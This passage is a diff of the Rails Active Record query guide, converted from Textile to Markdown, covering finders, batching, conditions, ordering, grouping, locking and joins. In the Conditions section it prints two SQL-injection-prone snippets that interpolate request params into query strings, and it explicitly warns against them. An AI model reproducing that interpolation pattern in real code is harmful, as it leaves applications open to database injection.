+* `extending` +* `from` +* `group` +* `having` +* `includes` +* `joins` +* `limit` +* `lock` +* `none` +* `offset` +* `order` +* `none` +* `preload` +* `readonly` +* `references` +* `reorder` +* `reverse_order` +* `select` +* `uniq` +* `where` + +All of the above methods return an instance of `ActiveRecord::Relation`. + +The primary operation of `Model.find(options)` can be summarized as: * Convert the supplied options to an equivalent SQL query. * Fire the SQL query and retrieve the corresponding results from the database. * Instantiate the equivalent Ruby object of the appropriate model for every resulting row. -* Run +after_find+ callbacks, if any. +* Run `after_find` callbacks, if any. -h4. Retrieving a Single Object +### Retrieving a Single Object Active Record provides five different ways of retrieving a single object. -h5. Using a Primary Key +#### Using a Primary Key -Using <tt>Model.find(primary_key)</tt>, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example: +Using `Model.find(primary_key)`, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example: -<ruby> +```ruby # Find the client with primary key (id) 10. client = Client.find(10) # => #<Client id: 10, first_name: "Ryan"> -</ruby> +``` The SQL equivalent of the above is: -<sql> +```sql SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1 -</sql> +``` -<tt>Model.find(primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception if no matching record is found. +`Model.find(primary_key)` will raise an `ActiveRecord::RecordNotFound` exception if no matching record is found. -h5. +take+ +#### `take` -<tt>Model.take</tt> retrieves a record without any implicit ordering. For example: +`Model.take` retrieves a record without any implicit ordering. For example: -<ruby> +```ruby client = Client.take # => #<Client id: 1, first_name: "Lifo"> -</ruby> +``` The SQL equivalent of the above is: -<sql> +```sql SELECT * FROM clients LIMIT 1 -</sql> +``` -<tt>Model.take</tt> returns +nil+ if no record is found and no exception will be raised. +`Model.take` returns `nil` if no record is found and no exception will be raised. TIP: The retrieved record may vary depending on the database engine. -h5. +first+ +#### `first` -<tt>Model.first</tt> finds the first record ordered by the primary key. For example: +`Model.first` finds the first record ordered by the primary key. For example: -<ruby> +```ruby client = Client.first # => #<Client id: 1, first_name: "Lifo"> -</ruby> +``` The SQL equivalent of the above is: -<sql> +```sql SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1 -</sql> +``` -<tt>Model.first</tt> returns +nil+ if no matching record is found and no exception will be raised. +`Model.first` returns `nil` if no matching record is found and no exception will be raised. -h5. +last+ +#### `last` -<tt>Model.last</tt> finds the last record ordered by the primary key. For example: +`Model.last` finds the last record ordered by the primary key. For example: -<ruby> +```ruby client = Client.last # => #<Client id: 221, first_name: "Russel"> -</ruby> +``` The SQL equivalent of the above is: -<sql> +```sql SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 -</sql> +``` -<tt>Model.last</tt> returns +nil+ if no matching record is found and no exception will be raised. +`Model.last` returns `nil` if no matching record is found and no exception will be raised. -h5. +find_by+ +#### `find_by` -<tt>Model.find_by</tt> finds the first record matching some conditions. For example: +`Model.find_by` finds the first record matching some conditions. For example: -<ruby> +```ruby Client.find_by first_name: 'Lifo' # => #<Client id: 1, first_name: "Lifo"> Client.find_by first_name: 'Jon' # => nil -</ruby> +``` It is equivalent to writing: -<ruby> +```ruby Client.where(first_name: 'Lifo').take -</ruby> +``` -h5(#take_1). +take!+ +#### `take!` -<tt>Model.take!</tt> retrieves a record without any implicit ordering. For example: +`Model.take!` retrieves a record without any implicit ordering. For example: -<ruby> +```ruby client = Client.take! # => #<Client id: 1, first_name: "Lifo"> -</ruby> +``` The SQL equivalent of the above is: -<sql> +```sql SELECT * FROM clients LIMIT 1 -</sql> +``` -<tt>Model.take!</tt> raises +ActiveRecord::RecordNotFound+ if no matching record is found. +`Model.take!` raises `ActiveRecord::RecordNotFound` if no matching record is found. -h5(#first_1). +first!+ +#### `first!` -<tt>Model.first!</tt> finds the first record ordered by the primary key. For example: +`Model.first!` finds the first record ordered by the primary key. For example: -<ruby> +```ruby client = Client.first! # => #<Client id: 1, first_name: "Lifo"> -</ruby> +``` The SQL equivalent of the above is: -<sql> +```sql SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1 -</sql> +``` -<tt>Model.first!</tt> raises +ActiveRecord::RecordNotFound+ if no matching record is found. +`Model.first!` raises `ActiveRecord::RecordNotFound` if no matching record is found. -h5(#last_1). +last!+ +#### `last!` -<tt>Model.last!</tt> finds the last record ordered by the primary key. For example: +`Model.last!` finds the last record ordered by the primary key. For example: -<ruby> +```ruby client = Client.last! # => #<Client id: 221, first_name: "Russel"> -</ruby> +``` The SQL equivalent of the above is: -<sql> +```sql SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 -</sql> +``` -<tt>Model.last!</tt> raises +ActiveRecord::RecordNotFound+ if no matching record is found. +`Model.last!` raises `ActiveRecord::RecordNotFound` if no matching record is found. -h5(#find_by_1). +find_by!+ +#### `find_by!` -<tt>Model.find_by!</tt> finds the first record matching some conditions. It raises +ActiveRecord::RecordNotFound+ if no matching record is found. For example: +`Model.find_by!` finds the first record matching some conditions. It raises `ActiveRecord::RecordNotFound` if no matching record is found. For example: -<ruby> +```ruby Client.find_by! first_name: 'Lifo' # => #<Client id: 1, first_name: "Lifo"> Client.find_by! first_name: 'Jon' # => ActiveRecord::RecordNotFound -</ruby> +``` It is equivalent to writing: -<ruby> +```ruby Client.where(first_name: 'Lifo').take! -</ruby> +``` -h4. Retrieving Multiple Objects +### Retrieving Multiple Objects -h5. Using Multiple Primary Keys +#### Using Multiple Primary Keys -<tt>Model.find(array_of_primary_key)</tt> accepts an array of _primary keys_, returning an array containing all of the matching records for the supplied _primary keys_. For example: +`Model.find(array_of_primary_key)` accepts an array of _primary keys_, returning an array containing all of the matching records for the supplied _primary keys_. For example: -<ruby> +```ruby # Find the clients with primary keys 1 and 10. client = Client.find([1, 10]) # Or even Client.find(1, 10) # => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">] -</ruby> +``` The SQL equivalent of the above is: -<sql> +```sql SELECT * FROM clients WHERE (clients.id IN (1,10)) -</sql> +``` -WARNING: <tt>Model.find(array_of_primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception unless a matching record is found for <strong>all</strong> of the supplied primary keys. +WARNING: `Model.find(array_of_primary_key)` will raise an `ActiveRecord::RecordNotFound` exception unless a matching record is found for **all** of the supplied primary keys. -h5(#take-n-objects). take +#### take -<tt>Model.take(limit)</tt> retrieves the first number of records specified by +limit+ without any explicit ordering: +`Model.take(limit)` retrieves the first number of records specified by `limit` without any explicit ordering: -<ruby> +```ruby Client.take(2) # => [#<Client id: 1, first_name: "Lifo">, #<Client id: 2, first_name: "Raf">] -</ruby> +``` The SQL equivalent of the above is: -<sql> +```sql SELECT * FROM clients LIMIT 2 -</sql> +``` -h5(#first-n-objects). first +#### first -<tt>Model.first(limit)</tt> finds the first number of records specified by +limit+ ordered by primary key: +`Model.first(limit)` finds the first number of records specified by `limit` ordered by primary key: -<ruby> +```ruby Client.first(2) # => [#<Client id: 1, first_name: "Lifo">, #<Client id: 2, first_name: "Raf">] -</ruby> +``` The SQL equivalent of the above is: -<sql> +```sql SELECT * FROM clients LIMIT 2 -</sql> +``` -h5(#last-n-objects). last +#### last -<tt>Model.last(limit)</tt> finds the number of records specified by +limit+ ordered by primary key in descending order: +`Model.last(limit)` finds the number of records specified by `limit` ordered by primary key in descending order: -<ruby> +```ruby Client.last(2) # => [#<Client id: 10, first_name: "Ryan">, #<Client id: 9, first_name: "John">] -</ruby> +``` The SQL equivalent of the above is: -<sql> +```sql SELECT * FROM clients ORDER By id DESC LIMIT 2 -</sql> +``` -h4. Retrieving Multiple Objects in Batches +### Retrieving Multiple Objects in Batches We often need to iterate over a large set of records, as when we send a newsletter to a large set of users, or when we export data. This may appear straightforward: -<ruby> +```ruby # This is very inefficient when the users table has thousands of rows. User.all.each do |user| NewsLetter.weekly_deliver(user) end -</ruby> +``` -But this approach becomes increasingly impractical as the table size increases, since +User.all.each+ instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available. +But this approach becomes increasingly impractical as the table size increases, since `User.all.each` instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available. -Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, +find_each+, retrieves a batch of records and then yields _each_ record to the block individually as a model. The second method, +find_in_batches+, retrieves a batch of records and then yields _the entire batch_ to the block as an array of models. +Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, `find_each`, retrieves a batch of records and then yields _each_ record to the block individually as a model. The second method, `find_in_batches`, retrieves a batch of records and then yields _the entire batch_ to the block as an array of models. -TIP: The +find_each+ and +find_in_batches+ methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option. +TIP: The `find_each` and `find_in_batches` methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option. -h5. +find_each+ +#### `find_each` -The +find_each+ method retrieves a batch of records and then yields _each_ record to the block individually as a model. In the following example, +find_each+ will retrieve 1000 records (the current default for both +find_each+ and +find_in_batches+) and then yield each record individually to the block as a model. This process is repeated until all of the records have been processed: +The `find_each` method retrieves a batch of records and then yields _each_ record to the block individually as a model. In the following example, `find_each` will retrieve 1000 records (the current default for both `find_each` and `find_in_batches`) and then yield each record individually to the block as a model. This process is repeated until all of the records have been processed: -<ruby> +```ruby User.find_each do |user| NewsLetter.weekly_deliver(user) end -</ruby> +``` -h6. Options for +find_each+ +##### Options for `find_each` -The +find_each+ method accepts most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_each+. +The `find_each` method accepts most of the options allowed by the regular `find` method, except for `:order` and `:limit`, which are reserved for internal use by `find_each`. -Two additional options, +:batch_size+ and +:start+, are available as well. +Two additional options, `:batch_size` and `:start`, are available as well. -*+:batch_size+* +**`:batch_size`** -The +:batch_size+ option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000: +The `:batch_size` option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000: -<ruby> +```ruby User.find_each(:batch_size => 5000) do |user| NewsLetter.weekly_deliver(user) end -</ruby> +``` -*+:start+* +**`:start`** -By default, records are fetched in ascending order of the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint. +By default, records are fetched in ascending order of the primary key, which must be an integer. The `:start` option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint. For example, to send newsletters only to users with the primary key starting from 2000, and to retrieve them in batches of 5000: -<ruby> +```ruby User.find_each(:start => 2000, :batch_size => 5000) do |user| NewsLetter.weekly_deliver(user) end -</ruby> +``` -Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate <tt>:start</tt> option on each worker. +Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate `:start` option on each worker. -NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models. +NOTE: The `:include` option allows you to name associations that should be loaded alongside with the models. -h5. +find_in_batches+ +#### `find_in_batches` -The +find_in_batches+ method is similar to +find_each+, since both retrieve batches of records. The difference is that +find_in_batches+ yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices: +The `find_in_batches` method is similar to `find_each`, since both retrieve batches of records. The difference is that `find_in_batches` yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices: -<ruby> +```ruby # Give add_invoices an array of 1000 invoices at a time Invoice.find_in_batches(:include => :invoice_lines) do |invoices| export.add_invoices(invoices) end -</ruby> +``` -NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models. +NOTE: The `:include` option allows you to name associations that should be loaded alongside with the models. -h6. Options for +find_in_batches+ +##### Options for `find_in_batches` -The +find_in_batches+ method accepts the same +:batch_size+ and +:start+ options as +find_each+, as well as most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_in_batches+. +The `find_in_batches` method accepts the same `:batch_size` and `:start` options as `find_each`, as well as most of the options allowed by the regular `find` method, except for `:order` and `:limit`, which are reserved for internal use by `find_in_batches`. -h3. Conditions +Conditions +---------- -The +where+ method allows you to specify conditions to limit the records returned, representing the +WHERE+-part of the SQL statement. Conditions can either be specified as a string, array, or hash. +The `where` method allows you to specify conditions to limit the records returned, representing the `WHERE`-part of the SQL statement. Conditions can either be specified as a string, array, or hash. -h4. Pure String Conditions +### Pure String Conditions -If you'd like to add conditions to your find, you could just specify them in there, just like +Client.where("orders_count = '2'")+. This will find all clients where the +orders_count+ field's value is 2. +If you'd like to add conditions to your find, you could just specify them in there, just like `Client.where("orders_count = '2'")`. This will find all clients where the `orders_count` field's value is 2. -WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, +Client.where("first_name LIKE '%#{params[:first_name]}%'")+ is not safe. See the next section for the preferred way to handle conditions using an array. +WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, `Client.where("first_name LIKE '%#{params[:first_name]}%'")` is not safe. See the next section for the preferred way to handle conditions using an array. -h4. Array Conditions +### Array Conditions Now what if that number could vary, say as an argument from somewhere? The find would then take the form: -<ruby> +```ruby Client.where("orders_count = ?", params[:orders]) -</ruby> +``` -Active Record will go through the first element in the conditions value and any additional elements will replace the question marks +(?)+ in the first element. +Active Record will go through the first element in the conditions value and any additional elements will replace the question marks `(?)` in the first element. If you want to specify multiple conditions: -<ruby> +```ruby Client.where("orders_count = ? AND locked = ?", params[:orders], false) -</ruby> +``` -In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with the SQL representation of +false+, which depends on the adapter. +In this example, the first question mark will be replaced with the value in `params[:orders]` and the second will be replaced with the SQL representation of `false`, which depends on the adapter. This code is highly preferable: -<ruby> +```ruby Client.where("orders_count = ?", params[:orders]) -</ruby> +``` to this code: -<ruby> +```ruby Client.where("orders_count = #{params[:orders]}") -</ruby> +``` -because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. +because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. -TIP: For more information on the dangers of SQL injection, see the "Ruby on Rails Security Guide":security.html#sql-injection. +TIP: For more information on the dangers of SQL injection, see the [Ruby on Rails Security Guide](security.html#sql-injection). -h5. Placeholder Conditions +#### Placeholder Conditions -Similar to the +(?)+ replacement style of params, you can also specify keys/values hash in your array conditions: +Similar to the `(?)` replacement style of params, you can also specify keys/values hash in your array conditions: -<ruby> +```ruby Client.where("created_at >= :start_date AND created_at <= :end_date", {:start_date => params[:start_date], :end_date => params[:end_date]}) -</ruby> +``` This makes for clearer readability if you have a large number of variable conditions. -h4. Hash Conditions +### Hash Conditions Active Record also allows you to pass in hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them: NOTE: Only equality, range and subset checking are possible with Hash conditions. -h5. Equality Conditions +#### Equality Conditions -<ruby> +```ruby Client.where(:locked => true) -</ruby> +``` The field name can also be a string: -<ruby> +```ruby Client.where('locked' => true) -</ruby> +``` In the case of a belongs_to relationship, an association key can be used to specify the model if an ActiveRecord object is used as the value. This method works with polymorphic relationships as well. -<ruby> +```ruby Post.where(:author => author) Author.joins(:posts).where(:posts => {:author => author}) -</ruby> +``` -NOTE: The values cannot be symbols. For example, you cannot do +Client.where(:status => :active)+. +NOTE: The values cannot be symbols. For example, you cannot do `Client.where(:status => :active)`. -h5(#hash-range_conditions). Range Conditions +#### Range Conditions -<ruby> +```ruby Client.where(:created_at => (Time.now.midnight - 1.day)..Time.now.midnight) -</ruby> +``` -This will find all clients created yesterday by using a +BETWEEN+ SQL statement: +This will find all clients created yesterday by using a `BETWEEN` SQL statement: -<sql> +```sql SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00') -</sql> +``` -This demonstrates a shorter syntax for the examples in "Array Conditions":#array-conditions +This demonstrates a shorter syntax for the examples in [Array Conditions](#array-conditions) -h5. Subset Conditions +#### Subset Conditions -If you want to find records using the +IN+ expression you can pass an array to the conditions hash: +If you want to find records using the `IN` expression you can pass an array to the conditions hash: -<ruby> +```ruby Client.where(:orders_count => [1,3,5]) -</ruby> +``` This code will generate SQL like this: -<sql> +```sql SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5)) -</sql> +``` -h3(#ordering). Ordering +Ordering +-------- -To retrieve records from the database in a specific order, you can use the +order+ method. +To retrieve records from the database in a specific order, you can use the `order` method. -For example, if you're getting a set of records and want to order them in ascending order by the +created_at+ field in your table: +For example, if you're getting a set of records and want to order them in ascending order by the `created_at` field in your table: -<ruby> +```ruby Client.order("created_at") -</ruby> +``` -You could specify +ASC+ or +DESC+ as well: +You could specify `ASC` or `DESC` as well: -<ruby> +```ruby Client.order("created_at DESC") # OR Client.order("created_at ASC") -</ruby> +``` Or ordering by multiple fields: -<ruby> +```ruby Client.order("orders_count ASC, created_at DESC") # OR Client.order("orders_count ASC", "created_at DESC") -</ruby> +``` -If you want to call +order+ multiple times e.g. in different context, new order will prepend previous one +If you want to call `order` multiple times e.g. in different context, new order will prepend previous one -<ruby> +```ruby Client.order("orders_count ASC").order("created_at DESC") # SELECT * FROM clients ORDER BY created_at DESC, orders_count ASC -</ruby> - -h3. Selecting Specific Fields +``` -By default, <tt>Model.find</tt> selects all the fields from the result set using +select *+. +Selecting Specific Fields +------------------------- -To select only a subset of fields from the result set, you can specify the subset via the +select+ method. +By default, `Model.find` selects all the fields from the result set using `select *`. -NOTE: If the +select+ method is used, all the returning objects will be "read only":#readonly-objects. +To select only a subset of fields from the result set, you can specify the subset via the `select` method. -<br /> +NOTE: If the `select` method is used, all the returning objects will be [read only](#readonly-objects). -For example, to select only +viewable_by+ and +locked+ columns: +For example, to select only `viewable_by` and `locked` columns: -<ruby> +```ruby Client.select("viewable_by, locked") -</ruby> +``` The SQL query used by this find call will be somewhat like: -<sql> +```sql SELECT viewable_by, locked FROM clients -</sql> +``` Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive: -<shell> +```bash ActiveModel::MissingAttributeError: missing attribute: <attribute> -</shell> +``` -Where +<attribute>+ is the attribute you asked for. The +id+ method will not raise the +ActiveRecord::MissingAttributeError+, so just be careful when working with associations because they need the +id+ method to function properly. +Where `<attribute>` is the attribute you asked for. The `id` method will not raise the `ActiveRecord::MissingAttributeError`, so just be careful when working with associations because they need the `id` method to function properly. -If you would like to only grab a single record per unique value in a certain field, you can use +uniq+: +If you would like to only grab a single record per unique value in a certain field, you can use `uniq`: -<ruby> +```ruby Client.select(:name).uniq -</ruby> +``` This would generate SQL like: -<sql> +```sql SELECT DISTINCT name FROM clients -</sql> +``` You can also remove the uniqueness constraint: -<ruby> +```ruby query = Client.select(:name).uniq # => Returns unique names query.uniq(false) # => Returns all names, even if there are duplicates -</ruby> +``` -h3. Limit and Offset +Limit and Offset +---------------- -To apply +LIMIT+ to the SQL fired by the +Model.find+, you can specify the +LIMIT+ using +limit+ and +offset+ methods on the relation. +To apply `LIMIT` to the SQL fired by the `Model.find`, you can specify the `LIMIT` using `limit` and `offset` methods on the relation. -You can use +limit+ to specify the number of records to be retrieved, and use +offset+ to specify the number of records to skip before starting to return the records. For example +You can use `limit` to specify the number of records to be retrieved, and use `offset` to specify the number of records to skip before starting to return the records. For example -<ruby> +```ruby Client.limit(5) -</ruby> +``` will return a maximum of 5 clients and because it specifies no offset it will return the first 5 in the table. The SQL it executes looks like this: -<sql> +```sql SELECT * FROM clients LIMIT 5 -</sql> +``` -Adding +offset+ to that +Adding `offset` to that -<ruby> +```ruby Client.limit(5).offset(30) -</ruby> +``` will return instead a maximum of 5 clients beginning with the 31st. The SQL looks like: -<sql> +```sql SELECT * FROM clients LIMIT 5 OFFSET 30 -</sql> +``` -h3. Group +Group +----- -To apply a +GROUP BY+ clause to the SQL fired by the finder, you can specify the +group+ method on the find. +To apply a `GROUP BY` clause to the SQL fired by the finder, you can specify the `group` method on the find. For example, if you want to find a collection of the dates orders were created on: -<ruby> +```ruby Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)") -</ruby> +``` -And this will give you a single +Order+ object for each date where there are orders in the database. +And this will give you a single `Order` object for each date where there are orders in the database. The SQL that would be executed would be something like this: -<sql> +```sql SELECT date(created_at) as ordered_date, sum(price) as total_price FROM orders GROUP BY date(created_at) -</sql> +``` -h3. Having +Having +------ -SQL uses the +HAVING+ clause to specify conditions on the +GROUP BY+ fields. You can add the +HAVING+ clause to the SQL fired by the +Model.find+ by adding the +:having+ option to the find. +SQL uses the `HAVING` clause to specify conditions on the `GROUP BY` fields. You can add the `HAVING` clause to the SQL fired by the `Model.find` by adding the `:having` option to the find. For example: -<ruby> -Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)").having("sum(price) > ?", 100) -</ruby> +```ruby +Order.select("date(created_at) as ordered_date, sum(price) as total_price"). + group("date(created_at)").having("sum(price) > ?", 100) +``` The SQL that would be executed would be something like this: -<sql> +```sql SELECT date(created_at) as ordered_date, sum(price) as total_price FROM orders GROUP BY date(created_at) HAVING sum(price) > 100 -</sql> +``` This will return single order objects for each day, but only those that are ordered more than $100 in a day. -h3. Overriding Conditions +Overriding Conditions +--------------------- -h4. +except+ +### `except` -You can specify certain conditions to be excepted by using the +except+ method. For example: +You can specify certain conditions to be excepted by using the `except` method. For example: -<ruby> +```ruby Post.where('id > 10').limit(20).order('id asc').except(:order) -</ruby> +``` The SQL that would be executed: -<sql> +```sql SELECT * FROM posts WHERE id > 10 LIMIT 20 -</sql> +``` -h4. +only+ +### `only` -You can also override conditions using the +only+ method. For example: +You can also override conditions using the `only` method. For example: -<ruby> +```ruby Post.where('id > 10').limit(20).order('id desc').only(:order, :where) -</ruby> +``` The SQL that would be executed: -<sql> +```sql SELECT * FROM posts WHERE id > 10 ORDER BY id DESC -</sql> +``` -h4. +reorder+ +### `reorder` -The +reorder+ method overrides the default scope order. For example: +The `reorder` method overrides the default scope order. For example: -<ruby> +```ruby class Post < ActiveRecord::Base .. .. @@ -698,57 +707,58 @@ class Post < ActiveRecord::Base end Post.find(10).comments.reorder('name') -</ruby> +``` The SQL that would be executed: -<sql> +```sql SELECT * FROM posts WHERE id = 10 ORDER BY name -</sql> +``` -In case the +reorder+ clause is not used, the SQL executed would be: +In case the `reorder` clause is not used, the SQL executed would be: -<sql> +```sql SELECT * FROM posts WHERE id = 10 ORDER BY posted_at DESC -</sql> +``` -h4. +reverse_order+ +### `reverse_order` -The +reverse_order+ method reverses the ordering clause if specified. +The `reverse_order` method reverses the ordering clause if specified. -<ruby> +```ruby Client.where("orders_count > 10").order(:name).reverse_order -</ruby> +``` The SQL that would be executed: -<sql> +```sql SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC -</sql> +``` -If no ordering clause is specified in the query, the +reverse_order+ orders by the primary key in reverse order. +If no ordering clause is specified in the query, the `reverse_order` orders by the primary key in reverse order. -<ruby> +```ruby Client.where("orders_count > 10").reverse_order -</ruby> +``` The SQL that would be executed: -<sql> +```sql SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC -</sql> +``` -This method accepts *no* arguments. +This method accepts **no** arguments. -h3. Null Relation +Null Relation +------------- -The +none+ method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results. +The `none` method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results. -<ruby> +```ruby Post.none # returns an empty Relation and fires no queries. -</ruby> +``` -<ruby> +```ruby # The visible_posts method below is expected to return a Relation. @posts = current_user.visible_posts.where(:name => params[:name]) @@ -762,21 +772,23 @@ def visible_posts Post.none # => returning [] or nil breaks the caller code in this case end end -</ruby> +``` -h3. Readonly Objects +Readonly Objects +---------------- -Active Record provides +readonly+ method on a relation to explicitly disallow modification of any of the returned objects. Any attempt to alter a readonly record will not succeed, raising an +ActiveRecord::ReadOnlyRecord+ exception. +Active Record provides `readonly` method on a relation to explicitly disallow modification of any of the returned objects. Any attempt to alter a readonly record will not succeed, raising an `ActiveRecord::ReadOnlyRecord` exception. -<ruby> +```ruby client = Client.readonly.first client.visits += 1 client.save -</ruby> +``` -As +client+ is explicitly set to be a readonly object, the above code will raise an +ActiveRecord::ReadOnlyRecord+ exception when calling +client.save+ with an updated value of _visits_. +As `client` is explicitly set to be a readonly object, the above code will raise an `ActiveRecord::ReadOnlyRecord` exception when calling `client.save` with an updated value of _visits_. -h3. Locking Records for Update +Locking Records for Update +-------------------------- Locking is helpful for preventing race conditions when updating records in the database and ensuring atomic updates. @@ -785,15 +797,15 @@ Active Record provides two locking mechanisms: * Optimistic Locking * Pessimistic Locking -h4. Optimistic Locking +### Optimistic Locking -Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data. It does this by checking whether another process has made changes to a record since it was opened. An +ActiveRecord::StaleObjectError+ exception is thrown if that has occurred and the update is ignored. +Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data. It does this by checking whether another process has made changes to a record since it was opened. An `ActiveRecord::StaleObjectError` exception is thrown if that has occurred and the update is ignored. -<strong>Optimistic locking column</strong> +**Optimistic locking column** -In order to use optimistic locking, the table needs to have a column called +lock_version+ of type integer. Each time the record is updated, Active Record increments the +lock_version+ column. If an update request is made with a lower value in the +lock_version+ field than is currently in the +lock_version+ column in the database, the update request will fail with an +ActiveRecord::StaleObjectError+. Example: +In order to use optimistic locking, the table needs to have a column called `lock_version` of type integer. Each time the record is updated, Active Record increments the `lock_version` column. If an update request is made with a lower value in the `lock_version` field than is currently in the `lock_version` column in the database, the update request will fail with an `ActiveRecord::StaleObjectError`. Example: -<ruby> +```ruby c1 = Client.find(1) c2 = Client.find(1) @@ -802,90 +814,91 @@ c1.save c2.name = "should fail" c2.save # Raises an ActiveRecord::StaleObjectError -</ruby> +``` You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict. -This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>. +This behavior can be turned off by setting `ActiveRecord::Base.lock_optimistically = false`. -To override the name of the +lock_version+ column, +ActiveRecord::Base+ provides a class attribute called +locking_column+: +To override the name of the `lock_version` column, `ActiveRecord::Base` provides a class attribute called `locking_column`: -<ruby> +```ruby class Client < ActiveRecord::Base self.locking_column = :lock_client_column end -</ruby> +``` -h4. Pessimistic Locking +### Pessimistic Locking -Pessimistic locking uses a locking mechanism provided by the underlying database. Using +lock+ when building a relation obtains an exclusive lock on the selected rows. Relations using +lock+ are usually wrapped inside a transaction for preventing deadlock conditions. +Pessimistic locking uses a locking mechanism provided by the underlying database. Using `lock` when building a relation obtains an exclusive lock on the selected rows. Relations using `lock` are usually wrapped inside a transaction for preventing deadlock conditions. For example: -<ruby> +```ruby Item.transaction do i = Item.lock.first i.name = 'Jones' i.save end -</ruby> +``` The above session produces the following SQL for a MySQL backend: -<sql> +```sql SQL (0.2ms) BEGIN Item Load (0.3ms) SELECT * FROM `items` LIMIT 1 FOR UPDATE Item Update (0.4ms) UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1 SQL (0.8ms) COMMIT -</sql> +``` -You can also pass raw SQL to the +lock+ method for allowing different types of locks. For example, MySQL has an expression called +LOCK IN SHARE MODE+ where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option: +You can also pass raw SQL to the `lock` method for allowing different types of locks. For example, MySQL has an expression called `LOCK IN SHARE MODE` where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option: -<ruby> +```ruby Item.transaction do i = Item.lock("LOCK IN SHARE MODE").find(1) i.increment!(:views) end -</ruby> +``` If you already have an instance of your model, you can start a transaction and acquire the lock in one go using the following code: -<ruby> +```ruby item = Item.first item.with_lock do # This block is called within a transaction, # item is already locked. item.increment!(:views) end -</ruby> +``` -h3. Joining Tables +Joining Tables +-------------- -Active Record provides a finder method called +joins+ for specifying +JOIN+ clauses on the resulting SQL. There are multiple ways to use the +joins+ method. +Active Record provides a finder method called `joins` for specifying `JOIN` clauses on the resulting SQL. There are multiple ways to use the `joins` method. -h4. Using a String SQL Fragment +### Using a String SQL Fragment -You can just supply the raw SQL specifying the +JOIN+ clause to +joins+: +You can just supply the raw SQL specifying the `JOIN` clause to `joins`: -<ruby> +```ruby Client.joins('LEFT OUTER JOIN addresses ON addresses.client_id = clients.id') -</ruby> +``` This will result in the following SQL: -<sql> +```sql SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = clients.id -</sql> +``` -h4. Using Array/Hash of Named Associations +### Using Array/Hash of Named Associations -WARNING: This method only works with +INNER JOIN+. +WARNING: This method only works with `INNER JOIN`. -Active Record lets you use the names of the "associations":association_basics.html 